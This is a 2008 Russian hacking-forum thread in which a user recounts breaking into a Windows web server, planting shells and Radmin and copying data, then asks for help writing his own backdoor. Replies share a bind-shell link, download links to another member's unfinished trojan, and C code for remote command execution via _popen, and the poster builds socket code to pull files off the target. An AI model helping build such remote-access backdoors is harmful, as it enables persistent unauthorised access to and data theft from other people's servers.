Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   Первый опыт с бэкдором (https://forum.antichat.xyz/showthread.php?t=95054)

Dobby007 06.12.2008 15:41

Первый опыт с бэкдором
 
Такая история. Как-то один сайт под виндой сломал, загрузил, значится, туда шелы радмины и т.д. и т.п. Скопировал инфу, поугарал над админом, ну вообщем все как полагается =) Ну а на следующий день этот самый админ все это хозяйство и прикрыл. Ну в этот самый момент я и подумал, что надо иметь какое-то дополнительное средство перестраховки. Пользоваться чужими бэкдорами в лом и как-то не в кайф =), да и антивирями палятся моментом.

Перехожу к сути. Нужно на сишке написать программку такого типа. Все бы ничего, но вот проблема: как сделать че-то типа виндовой командной строки, т.е. задаешь, например, команду dir C: и получаешь в качестве ответа список файлов на диске С или то же самое с ipconfig и т.п. Про скрытность проги спрашивать пока не буду. Попробую сам че-нить "помыслить" =)

Вообщем помогите кто чем может...
З.Ы. Работаю в 2007 билдере (codegear который ака бывший борланд)

neprovad 06.12.2008 15:50

Ну по идее выложи свои наработки, чтоб разговор был более предметным, разве не так?

Dobby007 06.12.2008 16:09

Цитата:

Сообщение от neprovad
Ну по идее выложи свои наработки, чтоб разговор был более предметным, разве не так?

Да пока ниче не сделал. Чисто тереотически пока просто думаю как это можно реализовать. План то надо составить куда рыть.
И в-принципе че здесь можно выкладывать то? Исходники общения с каким-то сервером?....

Мне бы примерчик какой-нибудь по этой теме. А именно: эмуляция командной строки. Чтоб дальше предметный разговор вести...

bons 06.12.2008 16:28

Win32 C++ Bind Shell:
https://www.rootkit.com/newsread_print.php?newsid=96

Dobby007 08.12.2008 12:31

Цитата:

Сообщение от bons
Win32 C++ Bind Shell:
https://www.rootkit.com/newsread_print.php?newsid=96

Не совсем конечно по моей теме. Но все равно спасибо. Как я понял из исходников: происходит вызов cmd, а затем выполнение нашей программы под именем этой cmd. Может че-то не так понял? Поправьте если че...
Нашел простое решение проблемы:
Код:

#include <stdlib.h>
system("ipconfig >>123.txt");

Тупо конечно, но работает :)

criz 08.12.2008 13:00

Цитата:

Сообщение от Dobby007
Код:

#include <stdlib.h>
system("ipconfig >>123.txt");

Тупо конечно, но работает :)

Работать-то оно будет. Только вот все cmd-команды в код не засунешь :)

Dobby007 08.12.2008 15:33

Цитата:

Сообщение от criz
Работать-то оно будет. Только вот все cmd-команды в код не засунешь :)

Как?.. А зачем засовывать то их?.. На стороне клиента подключаешься к серверу (т.е. к этой программе) набираешь в каком-нибудь скромном терминальчике команду, например, dir C:, нажимаешь энтер =), сервер получает данную команду, добавляет к ней:
Код:

>>answer.txt
потом читает этот файл, например, через секунды две и отправляет назад клиенту. Вот и вся логика :D
Конечно не все команды так работать будут, но процентов 90 должно по-любому, имхо.

criz 08.12.2008 15:52

Dobby007, ну смотри...твой процесс работы(со стороны сервера):
Цитата:

получил_команду -> записал_в файл -> прочитал_файл -> отправил_результат
а можно ведь так:
Цитата:

получил_команду -> отправил_результат
Лишняя работа получается :)

Dobby007 08.12.2008 16:04

Цитата:

Сообщение от criz
Лишняя работа получается :)

Ну вот я и не вижу пути, чтоб эту лишнюю работу выкинуть. Просто этой темой раньше не занимался, недавно только начал, вот и ищу всевозможные решения... Если есть такой вариант, подтолкни тогда в нужное направление :)

criz 08.12.2008 16:42

Так ведь дали ссылку =)
Че там выкидывать-то?)) Ты просто вместо функций записи и чтения файла используй send() или sendto() :)

BlackSun 08.12.2008 16:58

Цитата:

поугарал над админом, ну вообщем все как полагается =)
Никакие тебе "дополнительные средства перестраховки" не помогут, если ты будешь рвать волосы на жопе и кричать "я тебя похекал11"

Цитата:

Перехожу к сути. Нужно на сишке написать программку такого типа. Все бы ничего, но вот проблема: как сделать че-то типа виндовой командной строки, т.е. задаешь, например, команду dir C: и получаешь в качестве ответа список файлов на диске
Мой кривой и не дописанный клиент-серверный трой, клиент не сделан, сервер на 60% доделан, писал примерно с год назад .. за кривость не посылайте лучи поноса, это сырой и заброшенный проэкт)
скачать: http://rapidshare.com/files/171421315/bsAdmin.rar.html
зеркало: http://rghost.ru/64854
зеркало: http://d.lsass.us/271

PS: Делфи

izlesa 08.12.2008 23:52

_popen
Creates a pipe and executes a command.

MSDN!

Код:


#include <stdio.h>

int main(int argc, char *argv[])
{
        char cBuffer[128];
        FILE *pipe;
       
        pipe = _popen("ipconfig /all", "rt");
        if(pipe == NULL) exit(1);
       
        while(fgets(cBuffer, 128, pipe));
                printf(cBuffer);
       
        _pclose(pipe);
        return 0;       
       
}

Читай чаще MSDN ^____^ хотя в целом тебя это не спасёт. Круг системных утилит в Win ограничен. Для того же слития-залития файлов нужно будет модуль писать. Хотя если поднять у себя ftp то можно извратится, хотя лучше самому писать, много нового узнаешь ^____^

Dobby007 09.12.2008 13:09

Цитата:

Никакие тебе "дополнительные средства перестраховки" не помогут, если ты будешь рвать волосы на жопе и кричать "я тебя похекал11"
Здесь с тобой абсолютно согласен =) Это так... первые шаги. Само собой не самоцель - постебаться :D

Цитата:

Сообщение от izlesa
_popen
Creates a pipe and executes a command.

MSDN!

Код:


#include <stdio.h>

int main(int argc, char *argv[])
{
        char cBuffer[128];
        FILE *pipe;
       
        pipe = _popen("ipconfig /all", "rt");
        if(pipe == NULL) exit(1);
       
        while(fgets(cBuffer, 128, pipe));
                printf(cBuffer);
       
        _pclose(pipe);
        return 0;       
       
}

Читай чаще MSDN ^____^ хотя в целом тебя это не спасёт. Круг системных утилит в Win ограничен. Для того же слития-залития файлов нужно будет модуль писать. Хотя если поднять у себя ftp то можно извратится, хотя лучше самому писать, много нового узнаешь ^____^

Ну здесь есть два варианта. Либо писать с нуля, либо использовать уже готовую либу/компонент для обычного обмена данными по портам, а дальше под себя формат "этих даных" сделать... Допустим если пришло PIC <picture_data>, то значит скриншот экрана и т.д. и т.п. :)
З.Ы. Про МСДН учту =)

izlesa 09.12.2008 13:18

угу, создаешь свой протокол, описываешь его и реализуешь.

Dobby007 30.12.2008 23:01

и опять я =))))
 
Народ...
Вроде после долгих мучений и изучением (практически с нуля) как работать с сокетами на голом си, основную часть бэкдора сделал.
Вот-с значит... Надо теперь организовать отправку файла. Ну с текстовыми файлами проблем вообще нет никаких: накалякал код, что программка отправляла и принимала файлы ЛЮБЫХ размеров. А вот с бинарными... Т.е. например *.exe или *.jpg... не выходит че-то, проще говоря. А если точнее, не получается прочитать его. Читается какая-та определенная часть и фзё.
Вот код:
СЕРВЕР:
Код:

int sendfile(int ptr, char filename[255])
        {
        char temp[300]="";
        SOCKET client=(SOCKET)ptr;
        char filebuff[1024];
        char sendbuff[2048];
        int err,terr,i,size=0;
        FILE *fp,*fpd; //fpd специального для отладки сделал, чтоб понять в каком месте глюк возникает
        if(FileExists(filename)==True){
        fp=fopen(filename,"rb");
        fpd=fopen("filed","wb");
        int t=0;
        printf("\nSending file started:");
        ZeroMemory (&filebuff, sizeof (filebuff));
        ZeroMemory (&sendbuff, sizeof (sendbuff));
        while(1)
                {
                err=fread(filebuff,1,768,fp);
                terr=err;
                sprintf(temp,"%d",err+4);  //сюда записываю размер отправляемого пакета
                if(temp[1]==NULL)temp[1]='-';
                if(temp[2]==NULL)temp[2]='-';
                if(temp[3]==NULL)temp[3]='-';
                sprintf(sendbuff,"%s%s",temp,filebuff); //sendbuff - как вы уже поняли, массив (буфер) хранящий ту или иную часть содержимого файла
                t++;
                fputs(filebuff,fpd);
                if((size = send(client,sendbuff,strlen(sendbuff),0))== SOCKET_ERROR)  //отправляем
                return -1;
                printf("\nPacket #%d>> %d bytes read, %d of %d bytes send",t,terr,size,strlen(sendbuff));
                ZeroMemory (&filebuff, sizeof (filebuff));
                ZeroMemory (&sendbuff, sizeof (sendbuff));
                if (err<768) break; //чтение и отправка файла завершена
                }

                fclose(fp);  fclose(fpd);
                printf("\nSending file completed successfully...");
                return 1;
                }else{ //если файла не существует
                sprintf(temp,"ERROR_SENDING_FILE_TO_CLIENTFile does not exist: %s",filename);
                printf("\n%s",temp);
                send(client,temp,sizeof(temp),0);

        }
}

КЛИЕНТ (он уже с гуи):
Код:

int ret=0;char temp[20 * 1024]="";int i=0,j=0,t=0,k=0;
FILE *fp;char buff_x[20 * 1024];
MkDir("RcvdFiles");
sprintf(temp,"RcvdFiles\\%s",ExtractFilename(Edit4->Text.c_str()));  //путь для сохраняемого/принимаемого файла
unlink(temp);
                fp=fopen(temp,"wb");
                ret=512; t=0;
                while(ret>0)
                {
                strcpy(szRecvBuff,"");
                strcpy(temp,"");
                t++;
                ZeroMemory (&buff_x, sizeof (buff_x));
                ZeroMemory (&szRecvBuff, sizeof (szRecvBuff));
                ret = recv(s, szRecvBuff, 772, 0);
                if (ret != SOCKET_ERROR){
                if(t==1 && strstr(szRecvBuff,"ERROR_SENDING_FILE_TO_CLIENT")){return 2;}  //ошибка передачи файла
                strncpy(temp,szRecvBuff,4);  //четыре байта содержащие размер пакета
                k=Str2Int(temp);  //переводит строку в число
                        sprintf(temp,"Пакет #%d>> Получено: %d из %d байтов. Записано: %d байтов",t,ret,k,strlen(szRecvBuff)-4);
                        info(temp);  //выводит строку в MEMO
                        fputs(&szRecvBuff[4],fp);
                        if(k<772){break;}
                }else{
                fputs("\nSOCKET ERROR",fp);return -1;
                }
                }
                fclose(fp);

  return 1;

Если вкратце... смысл кода такой: клиент вводит адрес до файла на сервере, тот получает этот путь, смотрит существует ли файл, и выдает "результат" обработки запроса
Скорее всего, че-то я туплю и наверное решение какое-то простое (как всегда по-жизни :) ) должно быть. Но блин парюсь уже два дня, не могу понять в чем дело.
Вообщем, помогите кто чем может =))

bons 30.12.2008 23:12

полностью код не просматривал, но что бросилось в глаза:
Код:

strncpy(temp,szRecvBuff,4);  //четыре байта содержащие размер пакета
в переменной содержащей размер будут содержаться нули значит strncpy не будет работать правильно
И еще - функция recv может еще возвратить 0 если соединение корректно завершено удаленным узлом. Не мешало бы это обрабатывать.
вообще tcp есть потоковый протокол, то есть твой алгоритм не должен зависеть от того, пришли ли данные одним пакетом или несколькими. А у тебя кажется зависит...
для пересылки файлов есть замечательная функция TransmitFile
лучше юзай ее

Dobby007 30.12.2008 23:29

Цитата:

Сообщение от bons
полностью код не просматривал, но что бросилось в глаза:
Код:

strncpy(temp,szRecvBuff,4);  //четыре байта содержащие размер пакета
в переменной содержащей размер будут содержаться нули значит strncpy не будет работать правильно

Ну у меня максимальный размер пакета - 772. Если пакет занимает 72 байта, то остальные два символа переменной temp станут равными "-". Также и в остальных случаях. "-" будет ставится вместо, так сказать "недостающих цифр" Так что с этим все норм должно быть.

Цитата:

Сообщение от bons
И еще - функция recv может еще возвратить 0 если соединение корректно завершено удаленным узлом. Не мешало бы это обрабатывать.

Так мне то это зачем? У меня как только заканчивается передача файла (не важно - успешно или с ошибкой), цикл прекращается...
Цитата:

Сообщение от bons
вообще tcp есть потоковый протокол, то есть твой алгоритм не должен зависеть от того, пришли ли данные одним пакетом или несколькими. А у тебя кажется зависит...

У меня количество пакетов принятых клиентом и посланных сервером равны. И еще я же говорил, что текстовые файлы он моментом передает (без каких-либо ошибок), а с бинарными только че-то тупит.
Цитата:

Сообщение от bons
для пересылки файлов есть замечательная функция TransmitFile
лучше юзай ее

Про ТрансмитФайл слышал, только вот где ее искать? В winsock2.h ее нету.

P.s. Спасибо кстати за оперативный ответ.

bons 30.12.2008 23:43

по поводу TransmitFile
http://msdn.microsoft.com/en-us/library/ms740565(VS.85).aspx
Header: Mswsock.h
Library: Mswsock.lib
DLL: Mswsock.dll

Цитата:

У меня количество пакетов принятых клиентом и посланных сервером равны. И еще я же говорил, что текстовые файлы он моментом передает (без каких-либо ошибок), а с бинарными только че-то тупит.
в случае если клиент и сервер будут на разных компьютерах не факт что одному вызову send будет соответствовать один вызов recv. То есть подобные ошибки будут проявляться потом. И поэтому писать надо правильно.

и еще - ты записываешь в файл с помощью fputs. Насколько я помню она пишет ANSIZ-строку, то есть если в твоем буфере где-то есть нулевой байт то все что после него записано не будет. Если файл бинарный то так делать нельзя, он будет сильно искажен

Dobby007 30.12.2008 23:53

Цитата:

Сообщение от bons
по поводу TransmitFile
http://msdn.microsoft.com/en-us/library/ms740565(VS.85).aspx
Header: Mswsock.h
Library: Mswsock.lib
DLL: Mswsock.dll

Ок. Завтра посмотрим...
Цитата:

Сообщение от bons
в случае если клиент и сервер будут на разных компьютерах не факт что одному вызову send будет соответствовать один вызов recv. То есть подобные ошибки будут проявляться потом. И поэтому писать надо правильно.

Ну а выход - блокирующий сокет, я так понимаю?
Цитата:

Сообщение от bons
и еще - ты записываешь в файл с помощью puts. Насколько я помню она пишет ANSIZ-строку, то есть если в твоем буфере где-то есть нулевой байт то все что после него записано не будет. Если файл бинарный то так делать нельзя, он будет сильно искажен

Да. Согласен. Но у меня такое ощущение, что он и отправляет не то... Ну ладно... Завтра с утречка посмотрю, может че и получится :D ... В любом случае спасибо...

bons 30.12.2008 23:57

Цитата:

Сообщение от Dobby007
Ок. Завтра посмотрим...
Ну а выход - блокирующий сокет, я так понимаю?

неправильно понимаешь

Цитата:

Сообщение от Dobby007
Да. Согласен. Но у меня такое ощущение, что он и отправляет не то...

да, не то:

Код:

sprintf(sendbuff,"%s%s",temp,filebuff);
...
if((size = send(client,sendbuff,strlen(sendbuff),0))== SOCKET_ERROR)  //отправляем
return -1;

ты везде обращаешься с этим буфером как со строкой

Dobby007 31.12.2008 10:09

Цитата:

Сообщение от bons
ты везде обращаешься с этим буфером как со строкой

блин... ну а как с ней обращаться? Как с девушкой чтоли? Мягко и нежно? :D
Шутка... Ты имеешь ввиду c memcpy и т.п. все копировать?

bons 01.01.2009 20:21

Цитата:

Сообщение от Dobby007
Ты имеешь ввиду c memcpy и т.п. все копировать?

да.

Если ты хочешь написать действительно качественное сетевое приложение то сначала почитай эту книгу:
Йон Снейдер "Эффективное программирование TCP/IP"

Dobby007 02.01.2009 10:37

Цитата:

Сообщение от bons
да.

Если ты хочешь написать действительно качественное сетевое приложение то сначала почитай эту книгу:
Йон Снейдер "Эффективное программирование TCP/IP"

Понятно.
TransmitFile посмотрел. Хорошо конечно. Но я так и не смог заставить ее работать. Возвращает какую-то ошибку с номером 6. На мсдн нет даже ее. Плюс еще размер программы увеличился. Было около 50кб а стало 173!
За книжку спасибо - посмотрим...

criz 02.01.2009 16:40

Цитата:

Сообщение от Dobby007
Возвращает какую-то ошибку с номером 6. На мсдн нет даже ее. Плюс еще размер программы увеличился. Было около 50кб а стало 173!
За книжку спасибо - посмотрим...

6ая ошибка: Неверный дескриптор.
По поводу размеров: наверно доп. либы подключились :)

_nic 02.01.2009 18:03

С TransmitFile все предельно просто надо просто 2 указателя открытого приконекченного сокета и открытого файла.
Код:

char fname[1024];
SOCKET s;WSADATA wsd;
SOCKADDR_IN adr;
WSAStartup(MAKEWORD(2,0),&wsd);
adr.sin_family=AF_INET;
adr.sin_port=htons(1060);
adr.sin_addr.s_addr=inet_addr("127.0.0.1");
s=socket(AF_INET,SOCK_STREAM,0);
connect(s,(sockaddr*)&adr,sizeof(adr));
HANDLE f=CreateFile(fname,GENERIC_READ,0,NULL,OPEN_EXISTING,FILE_FLAG_RANDOM_ACCESS,0);
TransmitFile(s,f,0,1024*1024,NULL,0,TF_USE_KERNEL_APC);//файл передается кусками по мегабайту
closesocket(s);
CloseHadle(f);

Принимать то же просто.То есть в бесконечном цикле пока recv возвращяет значения больше 0.

Dobby007 02.01.2009 19:22

Цитата:

Сообщение от _nic
С TransmitFile все предельно просто надо просто 2 указателя открытого приконекченного сокета и открытого файла.
Код:

char fname[1024];
SOCKET s;WSADATA wsd;
SOCKADDR_IN adr;
WSAStartup(MAKEWORD(2,0),&wsd);
adr.sin_family=AF_INET;
adr.sin_port=htons(1060);
adr.sin_addr.s_addr=inet_addr("127.0.0.1");
s=socket(AF_INET,SOCK_STREAM,0);
connect(s,(sockaddr*)&adr,sizeof(adr));
HANDLE f=CreateFile(fname,GENERIC_READ,0,NULL,OPEN_EXISTING,FILE_FLAG_RANDOM_ACCESS,0);
TransmitFile(s,f,0,1024*1024,NULL,0,TF_USE_KERNEL_APC);//файл передается кусками по мегабайту
closesocket(s);
CloseHadle(f);

Принимать то же просто.То есть в бесконечном цикле пока recv возвращяет значения больше 0.

Ну вот как у меня было:
Код:

HANDLE hFile=CreateFile("12321sa.txt",GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
///////HANDLE hFile=OpenFile(filename,&os,OF_READ);
if(!TransmitFile(client,hFile,0,1024,NULL,0,TF_DISCONNECT)){
switch(WSAGetLastError()){
........
default:strcpy(temp,"Unknown Code Error...");break;
}
...
}

Вроде все норм, но по-любому выводился "ERROR 6: Unknown Code Error", ну или как вы говорите неверный дескриптор :) ...

Ну ладно... Вообщем сделал я, народ, передачу файлов "своим способом". Спасибо кстати Бонсу за совет про строки. Теперь и бинарные и текстовые передает. Плюс конечно же в том, ЧТО ПРОЦЕСС ОТПРАВКИ МОЖНО ОТСЛЕДИТЬ ;) :D
Вот конечный вариант кода:
Код:

// Посылаем файл
int sendfile(int ptr, char filename[255])
        {
        char temp[300]="";
        SOCKET client=(SOCKET)ptr;
        char filebuff[1024];
        char sendbuff[2048];
        OFSTRUCT os;
        os.cBytes = sizeof os;
        int err,i,size=0;
        FILE *fp;
        if(FileExists(filename)==True){
        fp=fopen(filename,"rb");
        int t=0;
        printf("\nSending file started...");
        ZeroMemory (filebuff, sizof (filebuff));
        Zero_Memory (sendbuff, sizeof (sendbuff));
        long l=GetFSize(filename);
        sprintf(sendbuff,"%d",l);
        send(client,sendbuff,strlen(sendbuff),0);
        ZeroMemory (&sendbuff, sizeof (sendbuff));
        while(1){
                Sleep(10);
                err=fread(filebuff,1,768,fp);
                t++;
                if((size = send(client,filebuff,768,0))== SOCKET_ERROR)
                return -1;
                printf("\nPacket #%d>> %d bytes read, %d of %d bytes send",t,err,size,768);
                ZeroMemory (&filebuff, sizeof (filebuff));
                if (err<768) beak;
        }
        printf("\nSending file completed successfully...");
        fclose(f);
        return 1;
        }else{
        sprintf(temp,"ERROR_SENDING_FILE_TO_CLIENTFile does not exist: %s",filename);
        printf("\n%s",temp);
        send(client,temp,sizePoh(temp),0);
        }
}

Код:

//Принимаем файл
/*
a-сколько принято в данный момент
l-сколько нужно принять =)
А эти функции вам придется самим написать ии найти нечто похожее в нете (так сказать, тест такой  ;) ):
Str2Int - переводит строку в число до первого символа (первой встретившееся буквы)
info - просто выводит текст в мемо
ExtractFilename- извлекает имя файла из полного к нему пути
.......
Все.... дальше сами разберетесь...
*/
int ReceiveFile()
{
int ret=0;char temp[20 * 1024]="";int i=0,j=0,t=0,k=0;long a=0;
FILE *fp;char buff_x[20 * 1024];
MkDir("RcvdFiles");
sprintf(temp,"RcvdFiles\\%s",ExtractFilename(Edit4->Text.c_str()));
unlink(temp);
                fp=fopen(temp,"wb");
                Zero_Memory (szRecvBuff, sizeof (szRecvBuff));
                ret = recv(s, szRecvBuff, 100, 0);
                if(strstr(szRecvBuff,"ERROR_SENDING_FILE_TO_CLIENT")){info(&szRecvBuff[28]);return 2;}
                long l=Str2Int(szRecvBuff);
                sprintf(temp,"Размер файла: %d байт",l);
                info(temp);
                ZeroMemory (&szRecvBuff, sizeof (szRecvBuff));
        info("Начинаю принимать...");
                ret=512; t=0;
                while(ret>0)
                {
                Sleep(10);
                strcpy(szRecvBuff,"");
                strcpy(tmp,"");
                t++;
                ZeroMemory (&buff_x, sizeof (buff_x));
                ZeroMemory (szRecvBuff, sizeof (szRecvBuff));
                ret = recv(s, szRecvBuff, 768, 0);
                a=a+ret;
                if(ret<=0){info("Прием файла успешно завершен");fclose(fp);return 1;}
                if (ret != SOCKET_EROR){
                        if(a>l){ret=ret-(a-l);a=l;}
                        sprintf(temp,"Пакет #%d>> Получено: %d байтов. Уже записано: %d из всего возможных %d байтов",t,ret,a,l);
                        info(temp);
                        fwrite(szRecvBuff,ret,1,fp);
                        if(a>=l-1){info("Прием файла успешно завершен");fclose(fp);return 1;}
                }else{
                fputs("\nSOCKET ERROR",fp);return -1;
                }
                }
                fclose(fp);

  return 1;
}

Ну с ошибками там сами че-нибудь "помыслите"...
Вот то что делает программа вкратце:
-Посылаем с клиента команду на принятие файла (элементарно, сами напишите)
-Передаем путь к файлу и уже подключенный сокет в ReceiveFile()
-Та отправляет клиенту размер файла, если файл существует или "ERROR_SENDING_FILE_TO_CLIENT" если его нет.
-А дальше просто передается файл, как обычно, частями.

В результате получается нечто похожее на:
http://pic.ipicture.ru/uploads/09010...1S7sMZdVVJ.jpg

_nic 02.01.2009 20:53

Пходу файл неправильно открываешь.

Dobby007 02.01.2009 21:30

Цитата:

Сообщение от _nic
Пходу файл неправильно открываешь.

твой вариант.

_nic 02.01.2009 21:36

Код:

HANDLE hFile=CreateFile("\\\\.\\C:\\12321sa.txt",GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,F  ILE_ATTRIBUTE_NORMAL,NULL);
http://msdn.microsoft.com/en-us/library/aa363858(VS.85).aspx

Dobby007 02.01.2009 21:53

Цитата:

Сообщение от _nic
Код:

HANDLE hFile=CreateFile("\\\\.\\C:\\12321sa.txt",GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,F  ILE_ATTRIBUTE_NORMAL,NULL);
http://msdn.microsoft.com/en-us/library/aa363858(VS.85).aspx

А теперь читаем:
Цитата:

In the Windows API (with some exceptions discussed in the following paragraphs), the maximum length for a path is MAX_PATH, which is defined as 260 characters. A local path is structured in the following order: drive letter, colon, backslash, components separated by backslashes, and a terminating null character. For example, the maximum path on drive D is "D:\<some 256 character path string><NUL>" where "<NUL>" represents the invisible terminating null character for the current system codepage. (The characters < > are used here for visual clarity and cannot be part of a valid path string.)
...
The Windows API has many functions that also have Unicode versions to permit an extended-length path for a maximum total path length of 32,767 characters.
To specify an extended-length path, use the "\\?\" prefix. For example, "\\?\D:\<very long path>". (The characters < > are used here for visual clarity and cannot be part of a valid path string.)
"\\?\" используется, чтобы распознавать строку с путем как уникод-строку и вследствие этого "удалить ограничение в 256 символов" в именах файлов и директорий.
Можно конечно написать у меня в коде CreateFile("\\?\C:\\123sa.txt",...), но здесь то в любом случае меньше 256 сиволов строчка...

_nic 02.01.2009 22:07

ЫЫЫЫЫ доконца читать нужно
Цитата:

String Meaning
\\.\A: Opens floppy disk drive A.
\\.\C: Opens the C: volume.
\\.\C:\ Opens the file system of the C: volume.
ЗЫ:лично у меня работало почему то даже и без \\\\.\\ :D

Dobby007 02.01.2009 22:16

Цитата:

Сообщение от _nic
ЫЫЫЫЫ доконца читать нужно

Че-то я такого там не вижу :D
Ладно... Мне в-принципе итак как щас устраивает (даже мне кажется так по-лучше будет).
Цитата:

ЗЫ:лично у меня работало почему то даже и без \\\\.\
Ну я говорю смысл в этом "префиксе" - избавиться от ограничений, но у меня то "123sa.txt" занимает всего 9 символов, а не 32767 :D


Время: 04:49